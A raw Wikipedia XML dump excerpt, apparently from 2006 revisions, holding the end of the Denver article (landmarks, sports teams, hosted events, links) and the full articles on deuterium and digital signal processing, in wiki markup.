Denver's public schools are operated by [[Denver Public Schools]]. See their Wikipedia page for more information.

===Colleges and universities===
Denver's many colleges and universities range in age and study programs. The city boasts [[Catholic]] and [[Jewish]] institutions, as well as a well respected health sciences school, and colleges set in downtown and around the suburbs.
*[[University of Denver]]
*[[Metropolitan State College of Denver]]
*[[University of Colorado at Denver and Health Sciences Center]] (which shares a campus with the [[Metropolitan State College of Denver]] and the [[Community College of Denver]])
*[[Johnson &amp; Wales University]]
*[[Regis University]]
*[[Community College of Denver]]
*[[Art Institute Of Colorado]]
*[[CollegeAmerica-Denver]]
*[[Denver Automotive &amp; Diesel College]]
*[[Heritage College &amp; Heritage Institute|Heritage College]]
*[[National American University: Denver]]
*[[Westwood College Of Technology]] (which also has a campus in south Denver)
*[[Yeshiva Toras Chaim Talmudical Seminary]]

== Culture ==
[[Image:Denver mosaic.jpg|thumb|left|600px|The Rocky Mountains west of Denver help people navigate the city by serving as a directional reference.]]
&lt;br style=&quot;clear:both&quot; /&gt;
=== Landmarks ===
Denver hosts a great and rich history of culture, and continues to remain a true testament to &quot;Colorful Colorado&quot;. Landmarks and historical points of interest include:
[[Image:Danielsfisher.png|150px|left|thumbnail|The 16th Street Mall, along with the D&amp;F Tower, reminding visitors of Denver's origins]]
*[[16th Street Mall]], a pedestrian-only street located in the middle of Downtown Denver and home to many shopping, residential, and office buildings.
*[[Avenue Theater]], a professional theater located in the Downtown Denver vicinity.
*[[Museum of the Black American West]], reflects the history of [[African Americans]] in the West and Denver.
*[[Brown Palace Hotel]], a historic hotel that has hosted many celebrities, dignitaries, and other important people
*[[Buckhorn Exchange]], Denver's oldest restaurant, a historic old-west [[steakhouse]]
[[Image:Cathedralimmaculateconception.jpg|150px|right|]]
*[[Cathedral Basilica of the Immaculate Conception, Denver|Cathedral Basilica of the Immaculate Conception]] is where Pope John Paul II gave mass twice in [[August]], [[1993]]
*[[Civic Center, Denver|Civic Center]], a [[neoclassical]] park, and the cultural, art and governmental center of Denver
*[[Colorado Convention Center]]
*[[Colorado State Capitol]]
*[[Confluence Park]], where the city started at the confluence of the [[South Platte River|South Platte]] and [[Cherry Creek (Colorado)|Cherry Creek]]. 
*[[Daniels &amp; Fisher Tower|D&amp;F Tower]], when it was built in [[1910]], it became the tallest building west of the [[Mississippi River|Mississippi]]
*[[Denver's Downtown Aquarium]]
*[[Denver Art Museum]], the largest art museum between Kansas City and San Francisco
*[[Denver Botanic Gardens]]
*[[Denver Mint]], the single largest producer of coins in the world
*[[Denver Museum of Nature and Science]]
*[[Denver Performing Arts Complex]] — The second largest performing arts center in the US after [[New York City]]'s [[Lincoln Center]].
[[Image:DPL_Central_Branch.JPG|frame|The central branch of the '''Denver Public Library''', designed by [[Michael Graves]].]]
*[[Denver Public Library]], serving Denver's educational and entertainment needs from 23 locations and a bookmobile.
*Denver Zoo
*[[Ellie Caulkins Opera House]]
*[[Four Mile House]], an important stop on the [[Cherokee Trail]] and the oldest standing residential building in the metropolitan area
*[[Kirkland Museum of Fine &amp; Decorative Art]], A museum featuring works of [[Vance Kirkland]] and others.
*[[Molly Brown House]], where [[Molly Brown]] lived in Denver
*[[Red Rocks]], This Denver owned park and outdoor amphitheater 15 miles west of Denver near [[Morrison, CO]] is world famous for its awe-inspiring red rock formations and its amphitheater with near perfect acoustics that has featured famous concerts by [[U2]], [[The Beatles]], [[Neil Young]] and others.
*[[Richthofen Castle]], a [[castle]] built by the uncle and godfather of the [[Red Baron]]
*[[Six Flags Elitch Gardens]] - A rare downtown [[Amusement Park]]
*[[Tattered Cover]], a very popular independent bookstore with two locations in Denver ([[LoDo]], and [[Cherry Creek]]), and one in the suburb of [[Highlands Ranch, Colorado|Highlands Ranch]].
[[Image:DSCN5726 denverunionstationfront e.jpg|250px|left|Hisotric Union Station]]
*[[Union Station (Denver)|Union Station]], a magnificent three-story building and the hub of the new [[Fastracks|FasTracks]] [[commuter rail]] network.
*[[Wells Fargo Center (Denver)|Wells Fargo Center]], a.k.a. the &quot;cash register&quot; or &quot;mailbox&quot; building, one of the city's most identifiable buildings.

===Music===
See [[Music in Denver]].

=== Sports ===
It is well known that Denver is a true blue sports town. The [[Denver Broncos]] of the [[NFL]], particularly have been able to pack in crowds of nearly 70,000 since their AFL origins c. 1959-1966. In the 1980s and '90s, one of the top priorities of Mayor [[Federico Peña]] was the construction of [[Coors Field]], and bringing major league baseball to the city and county, the [[Colorado Rockies]]. For sports loving America, Denver is more than just the capital of Colorado.

{{seealso|U.S. cities with teams from four major sports}}

====Sports teams====
&lt;!-- Table Header --&gt;
 &lt;tr bgcolor=&quot;#ADADAD&quot;&gt;
  &lt;td width=&quot;300px&quot;&gt;'''''Club'''''&lt;/td&gt;
  &lt;td width=&quot;120px&quot; align=&quot;left&quot;&gt;'''''Sport'''''&lt;/td&gt;
  &lt;td width=&quot;75px&quot; align=&quot;left&quot;&gt;'''''Founded'''''&lt;/td&gt;
  &lt;td width=&quot;270px&quot; align=&quot;left&quot;&gt;'''''League'''''&lt;/td&gt;
  &lt;td width=&quot;180px&quot; align=&quot;left&quot;&gt;'''''Venue'''''&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;'''''Logo'''''&lt;/td&gt;
 &lt;/tr&gt;

&lt;!-- Rows --&gt;

&lt;tr bgcolor=&quot;#ffffff'&gt;
  &lt;td width=&quot;250px&quot;&gt;[[Denver Broncos]]&lt;/td&gt;
  &lt;td width=&quot;120px&quot; align=&quot;left&quot;&gt;[[American Football|Football]]&lt;/td&gt;
  &lt;td width=&quot;75px&quot; align=&quot;left&quot;&gt;[[1960]]&lt;/td&gt;
  &lt;td width=&quot;270px&quot; align=&quot;left&quot;&gt;[[National Football League]]; [[American Football Conference|AFC]]&lt;/td&gt;
  &lt;td width=&quot;180px&quot; align=&quot;left&quot;&gt;[[INVESCO Field at Mile High]]&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;[[Image:DenverBroncos_100.png|50px|Denver Broncos Logo]]&lt;/td&gt;

&lt;tr bgcolor=&quot;#ffffff'&gt;
  &lt;td width=&quot;250px&quot;&gt;[[Colorado Rockies]]&lt;/td&gt;
  &lt;td width=&quot;120px&quot; align=&quot;left&quot;&gt;[[Baseball]]&lt;/td&gt;
  &lt;td width=&quot;75px&quot; align=&quot;left&quot;&gt;[[1993]]&lt;/td&gt;
  &lt;td width=&quot;270px&quot; align=&quot;left&quot;&gt;[[Major League Baseball]]; [[National League|NL]]&lt;/td&gt;
  &lt;td width=&quot;180px&quot; align=&quot;left&quot;&gt;[[Coors Field]]&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;[[Image:ColoradoRockies_100.png|50px|Colorado Rockies Logo]]&lt;/td&gt;

&lt;tr bgcolor=&quot;#ffffff'&gt;
  &lt;td width=&quot;250px&quot;&gt;[[Colorado Avalanche]]&lt;/td&gt;
  &lt;td width=&quot;120px&quot; align=&quot;left&quot;&gt;[[Ice Hockey]]&lt;/td&gt;
  &lt;td width=&quot;75px&quot; align=&quot;left&quot;&gt;[[1995]]&lt;/td&gt;
  &lt;td width=&quot;270px&quot; align=&quot;left&quot;&gt;[[National Hockey League]]&lt;/td&gt;
  &lt;td width=&quot;180px&quot; align=&quot;left&quot;&gt;[[Pepsi Center]]&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;[[Image:Colorado_Avalanche.gif|50px|Colorado Avalanche Logo]]&lt;/td&gt;

&lt;tr bgcolor=&quot;#ffffff'&gt;
  &lt;td width=&quot;250px&quot;&gt;[[Denver Nuggets]]&lt;/td&gt;
  &lt;td width=&quot;120px&quot; align=&quot;left&quot;&gt;[[Basketball]]&lt;/td&gt;
  &lt;td width=&quot;75px&quot; align=&quot;left&quot;&gt;[[1967]]&lt;/td&gt;
  &lt;td width=&quot;270px&quot; align=&quot;left&quot;&gt;[[National Basketball Association]]&lt;/td&gt;
  &lt;td width=&quot;180px&quot; align=&quot;left&quot;&gt;[[Pepsi Center]]&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;[[Image:DenverNuggetsMainLogo.gif|50px|Denver Nuggets Logo]]&lt;/td&gt;

&lt;tr bgcolor=&quot;#ffffff'&gt;
  &lt;td width=&quot;250px&quot;&gt;[[Colorado Rapids]]&lt;/td&gt;
  &lt;td width=&quot;120px&quot; align=&quot;left&quot;&gt;[[Soccer]]&lt;/td&gt;
  &lt;td width=&quot;75px&quot; align=&quot;left&quot;&gt;[[1996]]&lt;/td&gt;
  &lt;td width=&quot;270px&quot; align=&quot;left&quot;&gt;[[Major League Soccer]]&lt;/td&gt;
  &lt;td width=&quot;180px&quot; align=&quot;left&quot;&gt;[[INVESCO Field at Mile High]]&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;[[Image:Colorado_Rapids_logo.gif|50px|Colorado Rapids Logo]]&lt;/td&gt;

&lt;tr bgcolor=&quot;#ffffff'&gt;
  &lt;td width=&quot;250px&quot;&gt;[[Colorado Crush]]&lt;/td&gt;
  &lt;td width=&quot;120px&quot; align=&quot;left&quot;&gt;[[Arena Football]]&lt;/td&gt;
  &lt;td width=&quot;75px&quot; align=&quot;left&quot;&gt;[[2003]]&lt;/td&gt;
  &lt;td width=&quot;270px&quot; align=&quot;left&quot;&gt;[[Arena Football League]]&lt;/td&gt;
  &lt;td width=&quot;180px&quot; align=&quot;left&quot;&gt;[[Pepsi Center]]&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;[[Image:ColoradoCrush.gif|50px|Colorado Crush Logo]]&lt;/td&gt;

&lt;tr bgcolor=&quot;#ffffff'&gt;
  &lt;td width=&quot;250px&quot;&gt;[[Colorado Mammoth]]&lt;/td&gt;
  &lt;td width=&quot;120px&quot; align=&quot;left&quot;&gt;[[Lacrosse]]&lt;/td&gt;
  &lt;td width=&quot;75px&quot; align=&quot;left&quot;&gt;[[2003]]&lt;/td&gt;
  &lt;td width=&quot;270px&quot; align=&quot;left&quot;&gt;[[National Lacrosse League]]&lt;/td&gt;
  &lt;td width=&quot;180px&quot; align=&quot;left&quot;&gt;[[Pepsi Center]]&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;[[Image:Colo1.jpg|50px|Colorado Mammoth Logo]]&lt;/td&gt;

&lt;tr bgcolor=&quot;#ffffff'&gt;
  &lt;td width=&quot;250px&quot;&gt;[[Denver Outlaws]]&lt;/td&gt;
  &lt;td width=&quot;120px&quot; align=&quot;left&quot;&gt;[[Lacrosse]]&lt;/td&gt;
  &lt;td width=&quot;75px&quot; align=&quot;left&quot;&gt;[[2006]]&lt;/td&gt;
  &lt;td width=&quot;270px&quot; align=&quot;left&quot;&gt;[[Major League Lacrosse]]&lt;/td&gt;
  &lt;td width=&quot;180px&quot; align=&quot;left&quot;&gt;[[INVESCO Field at Mile High]]&lt;/td&gt;
  &lt;td width=&quot;50px&quot; align=&quot;left&quot;&gt;[[Image:557.gif|50px|Denver Outlaws Logo]]&lt;/td&gt;
&lt;/table&gt;

====Defunct Teams====
*[[Denver Bears]] former minor league (AAA) baseball team (1948-1992)
*[[Denver Zephyrs]] originally, the Denver Bears (moved to New Orleans, 1992)
*[[Denver Spurs]] former [[World Hockey Association]] team (1975-76)
*[[Colorado Rockies (NHL)|Colorado Rockies]] former [[National Hockey League]] team (1976-82); now known as the [[New Jersey Devils]]
*[[Denver Gold]] former [[United States Football League]] team (1983-1985)
*[[Denver Dynamite]] former [[Arena Football League]] team (1987, 1989-1991)
*[[Denver Grizzlies]] former [[International Hockey League]] team (1994-1995)

====Hosting====
*The [[National Western Stock Show]], the largest stock show in the world, is held annually every January in Denver, and attracts visitors from all over the world.
*Awarded the [[1976 Winter Olympics]], which voters rejected due to a 300 percent rise in costs and worries about environmental impact
*1990 NCAA Final Four at McNichols Arena
*1996 G7 Summit
*The [[1998]] [[Major League Baseball All-Star Game]] at Coors Field
*The 2001 [[NHL All-Star Game]] and FanFest at Pepsi Center
*[[2005]] [[NBA All-Star Game]] at the Pepsi Center
*[[2008]] NCAA [[Frozen Four]] Tournament
*The inaugural [[Ultimate Fighting Championship]] ([[November 12]],[[1993]])
*Denver is host to a yearly race on the [[Champ Car World Series]] circuit, the Grand Prix of Denver
*Denver is one of 11 cities[http://hotlineblog.nationaljournal.com/archives/2006/02/dnc_will_seek_b.html] expressing interest in hosting the [[2008 Democratic National Convention]], which would coincidently be the centennial of the city's first hosting of the convention in 1908 .
*In 1993, Denver hosted [[World Youth Day]], and welcomed [[Pope John Paul II]] in one of his rare travels to the United States.

=== Hostels ===
*[[Denver International Youth Hostel]]
*[[InnKeeper of the Rockies]]
*[[Melbourne International Hotel &amp; Hostel]]

== Famous Denverites ==
[[Image:federico_pena.JPG|thumb|180px|Federico Fabian Peña, Denver Mayor 1983-91, was an influential figure in Denver's history]]

See [[List of famous Denverites]]

== Books on Denver ==
* {{cite book | title = Denver in Slices | author = Louisa Ward Arps | year = 1998 | publisher = | id = }}
* {{cite book | title = Denver in our time: A people's history of the modern Mile High City | author = Phil Goodstein | publisher = }}
* {{cite book | title = Rise and Dine, Breakfast in Denver &amp; Boulder | author = Joey Porcelli | publisher = Fulcrum Publishing | location = Golden, Colorado | id = ISBN 1555915094}}

A large portion of [[Jack Kerouac]]'s beat classic ''[[On the Road]]'' takes place in Denver.

== External links ==
* [http://wikitravel.org/en/Denver WikiTravel site for Denver]
* [http://www.denvergov.org Official City and County of Denver site]
* [http://www.denver.org Official Denver travel guide]
* [http://www.aboutdenver.com Denver Internet Directory]
* [http://denverlibrary.org Denver Public Library] 
* [http://www.rtd-denver.com Regional Transportation District Homepage]
* [http://www.denverpost.com/ Denver Post]
* [http://www.rockymountainnews.com/ Rocky Mountain News]
* [http://www.westword.com/ Westword - Alternative newspaper for Denver]
* [http://www.haunteddenver.com/ Haunted Denver - Seasonal haunted house attractions in Denver]
* [http://www.denveruncommon.com/ Denver Uncommon - Pictures of Denver neighborhoods]
* [http://www.denverinfill.com/ DenverInfill - Overview of Downtown Denver growth and development]

==Surrounding municipalities==
{| class=&quot;wikitable&quot; style=&quot;margin:auto;&quot;
| width = 35% align=&quot;center&quot; | 
| width = 30% align=&quot;center&quot; |'''North:''' [[Commerce City, Colorado|Commerce City]]
| width = 35% align=&quot;center&quot; |
|- 
| width = 10% align=&quot;center&quot; |'''West:''' [[Wheat Ridge, Colorado|Wheat Ridge]], [[Lakeside, Colorado|Lakeside]], [[Mountain View, Colorado|Mountain View]], [[Edgewater, Colorado|Edgewater]], [[Lakewood, Colorado|Lakewood]]
| width = 35% align=&quot;center&quot; |'''Denver'''
| width = 30% align=&quot;center&quot; |'''East:''' [[Aurora, Colorado|Aurora]], [[Glendale, Colorado|Glendale]]
|- 
| width = 35% align=&quot;center&quot; |
| width = 30% align=&quot;center&quot; |'''South:''' [[Aurora, Colorado|Aurora]], [[Greenwood Village, Colorado| Greenwood Village]], [[Cherry Hills Village, Colorado|Cherry Hills Village]], [[Englewood, Colorado|Englewood]], [[Sheridan, Colorado|Sheridan]], [[Littleton, Colorado|Littleton]], [[Bow Mar, Colorado|Bow Mar]]  
| width = 35% align=&quot;center&quot; |
|}
{{Mapit-US-cityscale|39.726287|-104.965486}}
{{Colorado}}
{{United_States_state_capitals}}
&lt;br&gt;
{{USLargestCities}}

&lt;!-- [[User:rambot|rambot]] will ignore this:   --&gt;

[[Category:Cities in Colorado]]
[[Category:Colorado counties]]
[[Category:Denver metropolitan area]]
[[Category:Denver, Colorado]]
[[Category:State capitals in the United States]]

[[bg:Денвър]]
[[da:Denver]]
[[de:Denver (Colorado)]]
[[eo:Denvero (Koloradio)]]
[[es:Denver (Colorado)]]
[[fi:Denver]]
[[fr:Denver (Colorado)]]
[[gl:Denver]]
[[he:דנוור]]
[[it:Denver]]
[[ja:デンバー]]
[[ko:덴버]]
[[nl:Denver]]
[[no:Denver]]
[[pl:Denver (Kolorado)]]
[[pt:Denver]]
[[ru:Денвер]]
[[simple:Denver, Colorado]]
[[sv:Denver]]
[[th:เดนเวอร์]]
[[zh:丹佛 (美國科羅拉多州)]]</text>
    </revision>
  </page>
  <page>
    <title>Deuterium</title>
    <id>8524</id>
    <revision>
      <id>41287077</id>
      <timestamp>2006-02-26T08:01:53Z</timestamp>
      <contributor>
        <username>Mradigan</username>
        <id>974701</id>
      </contributor>
      <text xml:space="preserve">{{Stable_Isotope| &lt;!-- Here is the template for this nuclide; skip past it to edit the text. --&gt;
isotope_name =     Hydrogen-2|
isotope_filename = hydrogen-2.png|
alternate_names =  deuterium|
mass_number =    2|
symbol =           H or D|
num_neutrons =     1|
num_protons =      1|
abundance =        0.015%|
mass =             2.01355321270|
spin =             1+|
excess_energy =    13135.720|
error1 =           0.001|
binding_energy =   2224.573|
error2 =           0.002|
}}
'''Deuterium''', also called '''heavy hydrogen''', is a [[stable isotope]] of [[hydrogen]] with a [[natural abundance]] of one atom in 6500 of [[hydrogen]]. The [[atomic nucleus|nucleus]] of deuterium, called a '''deuteron''', contains one [[proton]] and one [[neutron]], whereas a normal hydrogen nucleus just has one proton.

The [[chemical symbol]] &lt;sup&gt;2&lt;/sup&gt;H identifies deuterium. The unofficial symbol D is also often used, even though deuterium is not a [[chemical element]] in its own right. It occurs naturally as deuterium gas, written &lt;sup&gt;2&lt;/sup&gt;H&lt;sub&gt;2&lt;/sub&gt; or D&lt;sub&gt;2&lt;/sub&gt;.  When bonded with a typical &lt;sup&gt;1&lt;/sup&gt;H atom, the gas is called hydrogen deuteride.{{ref|IUPACelement}}

Deuterium behaves chemically identically to ordinary hydrogen, although, because of the greater atomic mass, reactions involving deuterium tend to occur at a somewhat slower [[reaction rate]] than the corresponding reactions involving ordinary hydrogen. The two isotopes can be distinguished physically by using [[mass spectrometry]]. In addition, the physical properties of deuterium compounds can be different than the hydrogen analogs; for example, D&lt;sub&gt;2&lt;/sub&gt;O is more viscous than H&lt;sub&gt;2&lt;/sub&gt;O.

Deuterium can replace the normal hydrogen in water molecules to form [[heavy water]] (D&lt;sub&gt;2&lt;/sub&gt;O). Although not strictly toxic, consumption of heavy water could nevertheless pose a [[heavy water#Toxicity|health threat]].

The existence of deuterium in [[star]]s is an important datum in cosmology. Stellar fusion destroys deuterium, and there are no known natural processes, other than the [[Big Bang nucleosynthesis]], which produce deuterium. Thus it is one of the arguments in favour of the [[Big Bang]] theory over the [[steady state theory]] of the universe.

The world's leading producer of deuterium is [[Canada]], in the form of heavy water as [[neutron moderator]] for the operation of the [[CANDU reactor]].

==Applications==
Deuterium is useful in [[nuclear fusion]] reactions, especially in combination with [[tritium]], because of the large reaction rate (or [[Cross section (physics)|cross section]]) and high [[energy]] yield of the D-T reaction.  Unlike [[Hydrogen-1|protium]], deuterium undergoes fusion via the strong interaction, making its use for commercial power plausible.  

In [[chemistry]] and [[biochemistry]], deuterium is used in [[tracer]] molecules to study [[chemical reaction]]s and [[metabolic pathway]]s because chemically it behaves identically to ordinary hydrogen, but it can be distinguished from ordinary hydrogen by its mass using [[mass spectrometry]].

Deuterium is particlarly useful in hydrogen nuclear magnetic resonance (1H-[[NMR]]). Because of its different nuclear weight from the hydrogen generally connected to molecules, [[spectra]] of hydrogen are highly differentiable from that of deuterium.

==History==
Deuterium was predicted in 1926 by [[Walter Russell]], using his &quot;spiral&quot; periodic table, and first detected in 1931 by [[Harold  Urey]], a chemist at [[Columbia University]]. Urey earned the [[1934]] [[Nobel Prize]] in Chemistry for this work. &lt;!-- HEAVY WATER WAS MADE IN NORWAY, NOT DUTERIUM[[Gilbert Newton Lewis]] isolated the first sample of pure heavy water in 1933.


During World War II, Germany was known to be conducting experiments using heavy water as moderator for a [[nuclear reactor]]. This was a source of concern because it might allow them to produce [[plutonium]] for an [[atomic bomb]]. Ultimately, it led to a seemingly important Allied operation, the [[Norwegian heavy water sabotage]], to destroy the [[Vemork]] deuterium production facility in Norway. It turned out, however, that Germany was not putting any serious efforts into the program, and only had a small experimental reactor hidden away. In reality the Germans did not even have a fifth the amount of heavy water needed to run the reactor, partially due to the [[Norwegian heavy water sabotage]] operation.--&gt;

== Data ==
*density: 0.180 kg/m&lt;sup&gt;3&lt;/sup&gt; at [[Standard conditions for temperature and pressure|STP]] (0 °C, 101.325 kPa).
*atomic weight: 2.01355321270.

Data at approximately 18 K for D&lt;sub&gt;2&lt;/sub&gt; ([[triple point]]):
*density: 
:*solid: 195 kg/m&lt;sup&gt;3&lt;/sup&gt;
:*gas: 0.452 kg/m&lt;sup&gt;3&lt;/sup&gt;
*viscosity: 1.3 [[pascal second|&amp;micro;Pa&amp;middot;s]]
*specific heat capacity at constant pressure ''c&lt;sub&gt;p&lt;/sub&gt;'':
:*solid: 2950 J/(kg&amp;middot;K)
:*gas: 5200 J/(kg&amp;middot;K)

==Anti-deuterium==

An '''antideuteron''' is the antiparticle of the nucleus of deuterium, consisting of an [[antiproton]] and an [[antineutron]]. The antideuteron was first produced at [[CERN]] and the [[Brookhaven National Laboratory]] in [[1965]]. A complete atom, with a [[positron]] orbiting the nucleus, would be called ''antideuterium'', but as of [[2005]] antideuterium has not yet been created. The symbol for antideuterium is the same as for deuterium, except with a bar over it.

==References==
# {{note|IUPACelement}} {{cite journal | author=IUPAC Commission on Nomenclature of Inorganic Chemistry | title=Names for Muonium and Hydrogen Atoms and their Ions | journal=[[Pure and Applied Chemistry]] | year=[[2001 in science|2001]] | volume=73 | pages=377–380 | url=http://www.iupac.org/publications/pac/2001/pdf/7302x0377.pdf }}
*[http://atom.kaeri.re.kr/ Nuclear Data Evaluation Lab]
* {{cite journal|url=http://www.newscientist.com/article.ns?id=dn7315 |title=Desktop nuclear fusion demonstrated with deuterium gas|journal=New Scientist|date=27 April 2005|first=Justin|last=Mullins }}

&lt;!--
{{Isotope
 | element=[[Hydrogen]]
 | lighter=[[Hydrogen-1]]
 | heavier=[[Hydrogen-3]]
 | before=None
 | after=Stable
}}
--&gt;

[[Category:Isotopes of hydrogen]]
[[Category:Nuclear materials]]
[[Category:Environmental isotopes]]

[[be:Дэўтэр]]
[[ca:Deuteri]]
[[cs:Deuterium]]
[[da:Deuterium]]
[[de:Deuterium]]
[[et:Deuteerium]]
[[es:Deuterio]]
[[eo:Deŭterio]]
[[fr:Deutérium]]
[[ko:중수소]]
[[id:Deuterium]]
[[it:Deuterio]]
[[he:דאוטריום]]
[[ms:Deuterium]]
[[nl:Deuterium]]
[[ja:重水素]]
[[no:Deuterium]]
[[pl:Deuter (izotop)]]
[[pt:Deutério]]
[[ru:Дейтерий]]
[[sk:Deutérium]]
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[[sv:Deuterium]]
[[th:ดิวเทอเรียม]]
[[uk:Дейтерій]]
[[zh:氘]]</text>
    </revision>
  </page>
  <page>
    <title>Digital signal processing</title>
    <id>8525</id>
    <revision>
      <id>42034769</id>
      <timestamp>2006-03-03T10:03:34Z</timestamp>
      <contributor>
        <username>Essjay</username>
        <id>185818</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/210.212.145.130|210.212.145.130]] ([[User talk:210.212.145.130|talk]]) to last version by Vermolaev</comment>
      <text xml:space="preserve">'''Digital signal processing''' ('''DSP''') is the study of [[Signal (information theory)|signal]]s in a [[digital]] representation and the processing methods of these signals. DSP and [[analog signal processing]] are subfields of [[signal processing]]. DSP has three major subfields: [[audio signal processing]], [[digital image processing]] and [[speech processing]].  

Since the goal of DSP is usually to measure or filter continuous real-world analog signals, the first step is usually to convert the signal from an analog to a digital form, by using an [[analog to digital converter]]. Often, the required output signal is another analog output signal, which requires a [[digital to analog converter]].
 
The [[algorithm]]s required for DSP are sometimes performed using specialized [[computer hardware|computers]], which make use of specialized microprocessors called [[digital signal processor]]s (also abbreviated ''DSP'').  These process signals in [[real time]] and are generally purpose-designed [[Application-specific_integrated_circuit|ASICs]].

== DSP domains ==

In DSP, engineers usually study digital signals in one of the following domains: [[time domain]] (one-dimensional signals), spatial domain (multidimensional signals), [[frequency]] domain, [[autocorrelation]] domain, and [[wavelet]] domains. They choose the domain in which to process a signal by making an educated guess (or by trying different possibilities) as to which domain best represents the essential characteristics of the signal. A sequence of samples from a measuring device produces a time or spatial domain representation, whereas a [[discrete Fourier transform]] produces the frequency domain information, that is the [[frequency spectrum]]. Autocorrelation is defined as the [[cross-correlation]] of the signal with itself over varying intervals of time or space.

== Signal sampling ==
''Main article: [[Sampling (signal processing)]]''

With the increasing use of [[computer]]s the usage and need of [[digital signal processing]] has increased.  In order to use an analog signal on a computer it must be digitized with an [[analog to digital converter]] (ADC). 
Sampling is usually carried out in two stages, [[discretization]] and [[quantization]]. In the discretization stage, the space of signals is partitioned into [[equivalence class]]es and discretization is carried out by replacing the signal with representative signal of the corresponding equivalence class.
In the quantization stage the representative signal values are approximated by values from a finite set.

In order to properly sample an analog signal the [[Nyquist-Shannon sampling theorem]] must be satisfied.  In short, the [[sampling frequency]] must be greater than twice the bandwidth of the signal (provided it is filtered appropriately).  A [[digital to analog converter]] (DAC) is used to convert the digital signal back to analog.  The use of a digital computer is a key ingredient into [[digital control|digital control systems]].

== Time and space domains ==

The most common processing approach in the time or space domain is enhancement of the input signal through a method called filtering.  Filtering generally consists of some transformation of a number of surrounding samples around the current sample of the input or output signal.  There are various ways to characterize filters; for example:

* A &quot;linear&quot; filter is a [[linear transformation]] of input samples; other filters are &quot;non-linear.&quot;  Linear filters satisfy the superposition condition, i.e. if an input is a weighted linear combination of different signals, the output is an equally weighted linear combination of the corresponding output signals.

* A &quot;causal&quot; filter uses only previous samples of the input or output signals; while a &quot;non-causal&quot; filter uses future input samples.  A non-causal filter can be changed into a causal filter by adding a delay to it.

* A &quot;time-invariant&quot; filter has constant properties over time; other filters such as [[adaptive filter]]s change in time.

* Some filters are &quot;stable&quot;, others are &quot;unstable&quot;. A stable filter produces an output that converges to a constant value with time, or remains bounded within a finite interval. An unstable filter produces output which diverges.

* A &quot;finite impulse response&quot; ([[Finite_impulse_response|FIR]]) filter uses only the input signal, while an &quot;infinite impulse response&quot; filter ([[IIR]]) uses both the input signal and previous samples of the output signal.  FIR filters are always stable, while IIR filters may be unstable.

Most filters can be described in Z-domain (a superset of the frequency domain) by their [[transfer function]]s. A filter may also be described as a [[difference equation]], a collection of [[Zero (complex analysis)|zeroes]] and [[pole (complex analysis)|pole]]s or, if it is an FIR filter, an [[impulse response]] or [[step response]]. The output of an FIR filter to any given input may be calculated by [[convolution|convolving]] the input signal with the [[impulse response]]. Filters can also be represented by block diagrams which can then be used to derive a sample processing [[algorithm]] to implement the filter using hardware instructions.

== Frequency domain ==

Signals are converted from time or space domain to the frequency domain usually through the [[Fourier transform]].  The Fourier transform converts the signal information to a magnitude and phase component of each frequency. Often the Fourier transform is converted to the power spectrum, which is the magnitude of each frequency component squared.

The most common purpose for analysis of signals in the frequency domain is analysis of signal properties. The engineer can study the spectrum to get information of which frequencies are present in the input signal and which are missing.

There are some commonly used frequency domain transformations.  For example, the [[cepstrum]] converts a signal to the frequency domain through Fourier transform, takes the logarithm, then applies another Fourier transform.  This emphasizes the frequency components with smaller magnitude while retaining the order of magnitudes of frequency components.

== Applications ==

The main applications of DSP are [[audio signal processing]], [[audio compression]], [[digital image processing]], [[video compression]], [[speech processing]], [[speech recognition]] and [[digital communication]]s. Specific examples are [[speech compression]] and transmission in digital [[mobile phone]]s, equalisation of sound in [[Hifi]] equipment, [[weather forecasting]], [[economic forecasting]], [[seismology|seismic]] data processing, analysis and control of [[industrial process]]es, computer-generated [[animation]]s in [[Film|movie]]s, [[medical imaging]] such as [[CAT]] scans and [[MRI]], [[computer graphics|image manipulation]], and [[digital effects]] for use with [[electric guitar]] [[amplifiers]].
A further application is [[very low frequency]] (VLF) reception with a PC soundcard [http://www.vlf.it/harald/strangerec.htm].

== Techniques ==

* [[Bilinear transform]]
* [[Discrete Fourier transform]]
* [[Discrete-time Fourier transform]]
* [[Filter design]]
* [[LTI system theory]]
* [[Minimum phase]]
* [[Transfer function]]
* [[Z-transform]]
* [[Goertzel algorithm]]

== Related fields ==

* [[Automatic control]]
* [[Computer Science]]
* [[Data compression]]
* [[Electrical engineering]]
* [[Information theory]]
* [[Seismology|Seismic Data Processing]]
* [[Telecommunication]]

== References ==

*[[Alan V Oppenheim|Alan V. Oppenheim]], [[Ronald W Schafer|Ronald W. Schafer]], John R. Buck : ''Discrete-Time Signal Processing'', Prentice Hall, ISBN 0-13-754920-2
*Richard G. Lyons: ''Understanding Digital Signal Processing'', Prentice Hall, ISBN 0131089897
*[[Jonathan (Y) Stein]], ''Digital Signal Processing, a Computer Science Perspective'', Wiley, ISBN 0471295469
*Sen M. Kuo, Woon-Seng Gan: ''Digital Signal Processors: Architectures, Implementations, and Applications'', Prentice Hall, ISBN 0130352144
*Bernard Mulgrew, Peter Grant, John Thompson: ''Digital Signal Processing - Concepts and Applications'', Palgrave Macmillan, ISBN 0-333-96356-3
*Steven W. Smith: ''Digital Signal Processing - A Practical Guide for Engineers and Scientists'', Newnes, ISBN 0-7506-7444-X
*Paul A. Lynn, Wolfgang Fuerst: ''Introductory Digital Signal Processing with Computer Applications'', John Wiley &amp; Sons, ISBN 0-471-97984-8
*James D. Broesch: ''Digital Signal Processing Demystified'', Newnes, ISBN 1878707167
*John G. Proakis, Dimitris Manolakis: ''Digital Signal Processing - Principles, Algorithms and Applications'', Pearson, ISBN 0133942899
*Hari Krishna Garg: ''Digital Signal Processing Algorithms'', CRC Press, ISBN 0849371783
*P. Gaydecki: ''Foundations Of Digital Signal Processing: Theory, Algorithms And Hardware Design'', Institution of Electrical Engineers, ISBN 0852964315
